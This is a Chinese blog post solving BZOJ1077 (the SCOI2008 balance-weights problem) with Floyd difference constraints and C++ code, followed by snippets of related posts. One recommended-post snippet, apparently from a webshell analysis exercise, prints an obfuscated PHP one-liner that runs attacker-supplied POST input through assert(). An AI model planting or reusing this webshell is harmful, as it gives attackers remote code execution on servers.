【BZOJ1077】天平(差分约束)
【BZOJ1077】天平(差分约束)
题面
题解
利用矩阵可以很容易得到两个点之间的最大差和最小差,再利用这个信息判断即可。差分约束用\(Floyd\)计算。时间复杂度\(O(n^3)\)。
#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
#define MAX 55
int dmn[MAX][MAX],dmx[MAX][MAX];
int n,A,B,c1,c2,c3;
char ch[MAX];
int main()
{
scanf("%d%d%d",&n,&A,&B);
for(int i=1;i<=n;++i)
{
scanf("%s",ch+1);
for(int j=1;j<=n;++j)
{
if(ch[j]=='='||i==j)dmn[i][j]=dmx[i][j]=0;
else if(ch[j]=='+')dmn[i][j]=1,dmx[i][j]=2;
else if(ch[j]=='-')dmn[i][j]=-2,dmx[i][j]=-1;
else dmn[i][j]=-2,dmx[i][j]=2;
}
}
for(int k=1;k<=n;++k)
for(int i=1;i<=n;++i)
for(int j=1;j<=n;++j)
{
if(i==j||j==k||k==i)continue;
dmn[i][j]=max(dmn[i][j],dmn[i][k]+dmn[k][j]);
dmx[i][j]=min(dmx[i][j],dmx[i][k]+dmx[k][j]);
}
for(int i=1;i<=n;++i)
if(i!=A&&i!=B)
for(int j=1;j<i;++j)
{
if(j==A||j==B)continue;
if(dmn[A][i]>dmx[j][B]||dmn[B][i]>dmx[j][A])++c1;
if(dmn[i][A]>dmx[B][j]||dmn[i][B]>dmx[A][j])++c3;
if(dmn[A][i]==dmx[A][i]&&dmn[j][B]==dmx[j][B]&&dmn[A][i]==dmn[j][B])++c2;
else if(dmn[B][i]==dmx[B][i]&&dmn[j][A]==dmx[j][A]&&dmn[B][i]==dmn[j][A])++c2;
}
printf("%d %d %d\n",c1,c2,c3);
return 0;
}
【BZOJ1077】天平(差分约束)的更多相关文章
- 洛谷2474 [SCOI2008] 天平 差分约束->枚举
题目描述 你有n个砝码,均为1克,2克或者3克.你并不清楚每个砝码的重量,但你知道其中一些砝码重量的大小关系.你把其中两个砝码A 和B 放在天平的左边,需要另外选出两个砝码放在天平的右边.问:有多少种 ...
- [SCOI2008]天平 差分约束
---题面--- 题解: 差分约束学得实在是太烂了,,,,QAQ 这里先记下: a - b >= x ---> a >= b + x ----> b - ...
- 2021.07.23 P2474 天平(差分约束)
2021.07.23 P2474 天平(差分约束) [P2474 SCOI2008]天平 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 题意: 已知A,B和每两个点点权,求点权i, ...
- [luogu2474 SCOI2008]天平(floyd差分约束)
传送门 Solution 由于重量只有三种情况,那么想到用差分约束. 由于范围比较小,想到可以floyed求差分约束,暴力求天平另一边 Code #include <cstdio> #in ...
- Candies-POJ3159差分约束
Time Limit: 1500MS Memory Limit: 131072K Description During the kindergarten days, flymouse was the ...
- poj3159 差分约束 spfa
//Accepted 2692 KB 1282 ms //差分约束 -->最短路 //TLE到死,加了输入挂,手写queue #include <cstdio> #include & ...
- ZOJ 2770火烧连营——差分约束
偶尔做了一下差分约束. 题目大意:给出n个军营,每个军营最多有ci个士兵,且[ai,bi]之间至少有ki个士兵,问最少有多少士兵. ---------------------------------- ...
- POJ 2983 Is the Information Reliable? 差分约束
裸差分约束. //#pragma comment(linker, "/STACK:1024000000,1024000000") #include<cstdio> #i ...
- 2014 Super Training #6 B Launching the Spacecraft --差分约束
原题:ZOJ 3668 http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3668 典型差分约束题. 将sum[0] ~ sum ...
随机推荐
- C#可空类型(转载)
在程序开发中,有时候需要值类型也为可空类型,比如,在数据库中,我们可以把一个日期Datetime设置为null. 在C# 2.0中就出现了可空类型,允许值类型也可以为空(null),可空类型的实现基于 ...
- docker 端口映射错误解决方法
今天搞了半天shipyard,在网页上打开时无法显示容器和镜像,最后发现是docker端口映射错误,由于防火墙未关闭: 4月 12 18:51:29 localhost firewalld[757]: ...
- 2017-2018-2 20155230《网络对抗技术》实验5:MSF基础应用
基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit 就是运行该模块吧,在msf的模块中配置好各项属性后exploit一下就开始运行使用该模块了 paylo ...
- 【WPF】如何使用wpf实现屏幕最前端的绘图?
原文:[WPF]如何使用wpf实现屏幕最前端的绘图? 引言 在知乎上面看到如何使用wpf实现屏幕最前端的绘图? 这么一个问题,觉得全屏弹幕很有趣,所以把它实现了. 实现 界面设置很简单,Window界 ...
- controlfile 备份到trace文件例子
主要是为了学习oracle的克隆.参考: http://www.dba-oracle.com/oracle_tips_db_copy.htm 执行: SQL>alter database bac ...
- 汇编 AND 运算
AND运算 逻辑与&& 按位与& 一.AND运算 1&&12=1; 12&&0=0; 0&&1=0; 0040100 ...
- TensorFlow训练MNIST数据集(3) —— 卷积神经网络
前面两篇随笔实现的单层神经网络 和多层神经网络, 在MNIST测试集上的正确率分别约为90%和96%.在换用多层神经网络后,正确率已有很大的提升.这次将采用卷积神经网络继续进行测试. 1.模型基本结构 ...
- 移动端三合一瀑布流插件(原生JS)
没有前言,先上DEMO(手机上看效果更佳)和 原码. 瀑布流形式的图片布局方式在手机等移动端设备上运用广泛,比较常见的是下面前两种: 一.等宽等高 这种形式实现起来非常容易,这里就不再多说. 二.等宽 ...
- VMware Tools安装和卸载
1.卸载 a.查找 vmware-uninstall-tools.pl 路径:sudo find / -name 'vmware-uninstall-tools.pl' b.切换到 vmware-un ...
- WebShell代码分析溯源(第1题)
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...